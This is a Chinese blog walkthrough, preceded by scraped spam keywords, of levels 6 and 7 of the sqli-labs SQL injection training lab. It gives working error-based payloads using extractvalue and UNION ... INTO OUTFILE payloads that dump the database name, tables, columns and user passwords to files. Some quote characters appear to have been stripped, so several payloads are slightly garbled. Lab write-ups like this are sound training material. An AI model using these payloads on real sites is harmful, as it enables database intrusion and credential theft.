郑州网站排名优化公司,wordpress公网ip访问,网站建设的总体设计概图,上海平台网站建设平台目录 前言 一、sqli靶场第六关 1.1 判断注入类型 1.2 观察报错 1.3 使用extractvalue函数报错 1.4 爆出数据库中的表名 二、sqli靶场第七关 1.1 判断注入类型 1.2 判断数据表中的字段数 1.3 提示 1.4 构造poc爆库名 1.5 构造poc爆表名 1.6 构造poc爆字段名 1.7 构造poc获取账… 目录 前言 一、sqli靶场第六关 1.1 判断注入类型 1.2 观察报错 1.3 使用extractvalue函数报错 1.4 爆出数据库中的表名 二、sqli靶场第七关 1.1 判断注入类型 1.2 判断数据表中的字段数 1.3 提示 1.4 构造poc爆库名 1.5 构造poc爆表名 1.6 构造poc爆字段名 1.7 构造poc获取账号和密码 嗨我是Filotimo__。很高兴与大家相识希望我的博客能对你有所帮助。 本文由Filotimo__✍️原创首发于CSDN。 如需转载请事先与我联系以获得授权⚠️。 欢迎大家给我点赞、收藏⭐️并在留言区与我互动这些都是我前进的动力 我的格言森林草木都有自己认为对的角度。 前言 sqli靶场第1关filotimo.blog.less1 sqli靶场第2-3关filotimo.blog.less2-3 sqli靶场第4-5关filotimo.blog.less4-5 一、sqli靶场第六关
1.1 判断注入类型
输入?id1正常回显(是英文单引号)。
输入?id1正常回显(是两个英文单引号)。
输入?id1出现如图所示报错(是英文双引号) 输入?id1正常回显(是两个英文双引号)。
1.2 观察报错
报错信息为1 LIMIT 0,1
判断其为闭合
输入?id1 --正常回显。
Less6的正常回显和Less5一样都没有显示位我们还是考虑报错注入。
1.3 使用extractvalue函数报错
构造语句 ?id-1 and extractvalue(1,concat(0x7e,database(),0x7e)) -- 结果如图 我们能看到数据库名为security。
1.4 爆出数据库中的表名
构造语句 ?id-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) -- 结果如图 我们能看到表名为emails,referers,uagents,users。
点到为止后面内容跟Less5思路一样可以看我前面写的博客。 二、sqli靶场第七关
1.1 判断注入类型
输入?id1 and 11 --报语法错误。
输入?id1 and 11 --正常回显(是两个英文单引号)。
但输入?id1 and 12 --仍然是正常回显说明不是单纯的引号注入。
这关数据库具体报错没有提示到页面上先猜猜看吧。 常用闭合方式有 ?id1-- ?id1-- ?id1)-- ?id1)-- ?id1))-- ?id1))-- 当输入?id1)) and 11 --正常回显。输入?id1)) and 12 --报语法错误。说明是))的闭合方式。
1.2 判断数据表中的字段数
用二分法与order by确定列数为3。
输入?id1)) order by 3 --正常回显。
输入?id1)) order by 4 --报错。
所以数据表中有3个字段。
1.3 提示
正常回显中提示 Use outfile......
在数据库中outfile是一个命令用于导出数据到文件。 以下是使用 into outfile 语句的一般语法 SELECT column1, column2, ...
FROM table
INTO OUTFILE file_path 其中SELECT 语句是你的查询语句column1, column2, ... 是需要获取的列名table 是要查询的表名。而 file_path 是你希望将结果导出到的文件的路径。 into outfile() 写入文件前提是要MySQL数据库开启secure-file-priv写文件权限也就是secure_file_priv不为NULL。
我们进入MySQL命令窗口输入show variables lilke %secure% ;
我的界面如图 我用的是phpstudy然后进入mysql安装目录我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26
进入目录打开my.ini 我的文件里面没有secure_file_priv手动添加secure_file_priv 保存后退出然后重启MySQL 再进入MySQL命令窗口输入show variables lilke %secure% ;
这次我的界面如图 1.4 构造poc爆库名
构造poc
?id-1)) union select user(),version(),database() into outfile C:\\Users\\admin\\Desktop\\database.txt --
输入这个poc它会报语法错误但不要急看看你的桌面你会发现桌面上多了一个名为database.txt的文件。 into outfile 后面的路径分隔符不能是\
database.txt文件内容 可以知道数据库的名字为security
1.5 构造poc爆表名 group_concat是一个聚合函数用于将一组数据按照指定的顺序连接起来并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接从而构建出一段文本。 例如我们有一张表格product其中包含了id, name和color三个字段现在我们需要将所有产品的名称连接起来这时就可以使用group_concat函数 SELECT GROUP_CONCAT(name) FROM product; 该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号可以在 group_concat函数中指定separator参数例如 SELECT GROUP_CONCAT(name SEPARATOR ;) FROM product;该查询将以分号作为连接符号返回所有的产品名称。 构造poc
?id-1)) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schemasecurity ) into outfile C:\\Users\\admin\\Desktop\\tables.txt --
桌面上会出现tables.txt文件内容为 可以知道security库中表名为emails,referers,uagents,users。
1.6 构造poc爆字段名
爆出users表中的字段名
?id-1)) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers) into outfile C:\\Users\\admin\\Desktop\\column.txt --
桌面上会出现column.txt文件内容为 可以知道users表中字段名为id,username,password。
1.7 构造poc获取账号和密码
构造poc
?id-1)) union select user(),version(),(select group_concat((concat_ws(~,username,password)) separator ;)from security.users )into outfile C:\\Users\\admin\\Desktop\\password.txt --
桌面上会出现password.txt文件内容为